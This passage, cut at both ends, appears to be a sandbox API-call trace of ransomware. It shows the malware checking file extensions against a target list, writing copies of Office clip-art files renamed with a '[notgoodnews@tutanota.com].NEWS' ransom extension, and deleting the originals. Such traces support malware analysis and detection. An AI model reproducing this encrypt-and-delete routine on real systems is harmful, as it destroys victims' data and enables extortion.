lpString2="_.WMF") returned -1 [0087.335] lstrlenW (lpString=".pdf") returned 4 [0087.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.335] lstrlenW (lpString=".xls") returned 4 [0087.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.336] lstrlenW (lpString=".xlsx") returned 5 [0087.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.336] lstrlenW (lpString=".ppt") returned 4 [0087.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString=".zip") returned 4 [0087.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.336] lstrlenW (lpString=".rar") returned 4 [0087.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString=".bz2") returned 4 [0087.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString=".7z") returned 3 [0087.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString=".dbf") returned 4 [0087.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString=".1cd") returned 4 [0087.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString=".jpg") returned 4 [0087.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.336] lstrlenW (lpString=".doc") returned 4 [0087.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString=".docx") returned 5 [0087.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.336] lstrlenW (lpString=".pdf") returned 4 [0087.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.336] lstrlenW (lpString=".xls") returned 4 [0087.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.336] lstrlenW (lpString=".xlsx") returned 5 [0087.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.336] lstrlenW (lpString=".ppt") returned 4 [0087.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.337] lstrlenW (lpString=".zip") returned 4 [0087.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.337] lstrlenW (lpString=".rar") returned 4 [0087.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.337] lstrlenW (lpString=".bz2") returned 4 [0087.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.337] lstrlenW (lpString=".7z") returned 3 [0087.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.337] lstrlenW (lpString=".dbf") returned 4 [0087.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.337] lstrlenW (lpString=".1cd") returned 4 [0087.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.337] lstrlenW (lpString=".jpg") returned 4 [0087.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.337] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.337] lstrlenW (lpString="FD02158_.WMF") returned 12 [0087.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.338] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1648) returned 1 [0087.338] CloseHandle (hObject=0x2c4) returned 1 [0087.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0087.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.338] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.339] GetLastError () returned 0x0 [0087.339] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x670, lpOverlapped=0x0) returned 1 [0087.342] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x680, lpOverlapped=0x0) returned 1 [0087.343] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.343] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.343] SetEndOfFile (hFile=0x344) returned 1 [0087.343] CloseHandle (hObject=0x344) returned 1 [0087.344] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.344] SetEndOfFile (hFile=0x2c4) returned 1 [0087.344] CloseHandle (hObject=0x2c4) returned 1 [0087.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0087.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.345] lstrlenW (lpString=".doc") returned 4 [0087.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.345] lstrlenW (lpString=".docx") returned 5 [0087.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.345] lstrlenW (lpString=".pdf") returned 4 [0087.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.345] lstrlenW (lpString=".xls") returned 4 [0087.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.345] lstrlenW (lpString=".xlsx") returned 5 [0087.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.345] lstrlenW (lpString=".ppt") returned 4 [0087.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.345] lstrlenW (lpString=".zip") returned 4 [0087.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.345] lstrlenW (lpString=".rar") returned 4 [0087.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.345] lstrlenW (lpString=".bz2") returned 4 [0087.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.345] lstrlenW (lpString=".7z") returned 3 [0087.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.345] lstrlenW (lpString=".dbf") returned 4 [0087.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".1cd") returned 4 [0087.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".jpg") returned 4 [0087.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".doc") returned 4 [0087.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString=".docx") returned 5 [0087.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.346] lstrlenW (lpString=".pdf") returned 4 [0087.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString=".xls") returned 4 [0087.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.346] lstrlenW (lpString=".xlsx") returned 5 [0087.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.346] lstrlenW (lpString=".ppt") returned 4 [0087.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".zip") returned 4 [0087.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.346] lstrlenW (lpString=".rar") returned 4 [0087.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString=".bz2") returned 4 [0087.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString=".7z") returned 3 [0087.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".dbf") returned 4 [0087.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.346] lstrlenW (lpString=".1cd") returned 4 [0087.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0087.347] lstrlenW (lpString=".jpg") returned 4 [0087.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.347] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.347] lstrlenW (lpString="FD02161_.WMF") returned 12 [0087.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.347] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3128) returned 1 [0087.347] CloseHandle (hObject=0x2c4) returned 1 [0087.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0087.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.347] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.348] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.348] GetLastError () returned 0x0 [0087.348] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xc38, lpOverlapped=0x0) returned 1 [0087.349] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xc40, lpOverlapped=0x0) returned 1 [0087.350] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.350] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.350] SetEndOfFile (hFile=0x344) returned 1 [0087.351] CloseHandle (hObject=0x344) returned 1 [0087.351] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.351] SetEndOfFile (hFile=0x2c4) returned 1 [0087.351] CloseHandle (hObject=0x2c4) returned 1 [0087.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0087.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.352] lstrlenW (lpString=".doc") returned 4 [0087.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.352] lstrlenW (lpString=".docx") returned 5 [0087.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.352] lstrlenW (lpString=".pdf") returned 4 [0087.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.352] lstrlenW (lpString=".xls") returned 4 [0087.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.352] lstrlenW (lpString=".xlsx") returned 5 [0087.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.352] lstrlenW (lpString=".ppt") returned 4 [0087.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.352] lstrlenW (lpString=".zip") returned 4 [0087.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.352] lstrlenW (lpString=".rar") returned 4 [0087.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.352] lstrlenW (lpString=".bz2") returned 4 [0087.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.352] lstrlenW (lpString=".7z") returned 3 [0087.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".dbf") returned 4 [0087.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".1cd") returned 4 [0087.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".jpg") returned 4 [0087.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".doc") returned 4 [0087.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString=".docx") returned 5 [0087.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.353] lstrlenW (lpString=".pdf") returned 4 [0087.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString=".xls") returned 4 [0087.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.353] lstrlenW (lpString=".xlsx") returned 5 [0087.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.353] lstrlenW (lpString=".ppt") returned 4 [0087.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".zip") returned 4 [0087.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.353] lstrlenW (lpString=".rar") returned 4 [0087.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString=".bz2") returned 4 [0087.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString=".7z") returned 3 [0087.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.353] lstrlenW (lpString=".dbf") returned 4 [0087.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.354] lstrlenW (lpString=".1cd") returned 4 [0087.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0087.354] lstrlenW (lpString=".jpg") returned 4 [0087.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.354] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.354] lstrlenW (lpString="FLAP.WMF") returned 8 [0087.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.355] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2070) returned 1 [0087.355] CloseHandle (hObject=0x2c4) returned 1 [0087.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0087.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.355] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.355] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.355] GetLastError () returned 0x0 [0087.355] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x816, lpOverlapped=0x0) returned 1 [0087.357] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x820, lpOverlapped=0x0) returned 1 [0087.358] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.358] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0087.358] SetEndOfFile (hFile=0x344) returned 1 [0087.358] CloseHandle (hObject=0x344) returned 1 [0087.358] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.358] SetEndOfFile (hFile=0x2c4) returned 1 [0087.359] CloseHandle (hObject=0x2c4) returned 1 [0087.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0087.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.359] lstrlenW (lpString=".doc") returned 4 [0087.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.359] lstrlenW (lpString=".docx") returned 5 [0087.359] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0087.359] lstrlenW (lpString=".pdf") returned 4 [0087.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.359] lstrlenW (lpString=".xls") returned 4 [0087.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.360] lstrlenW (lpString=".xlsx") returned 5 [0087.360] lstrcmpiW (lpString1=".xlsx", 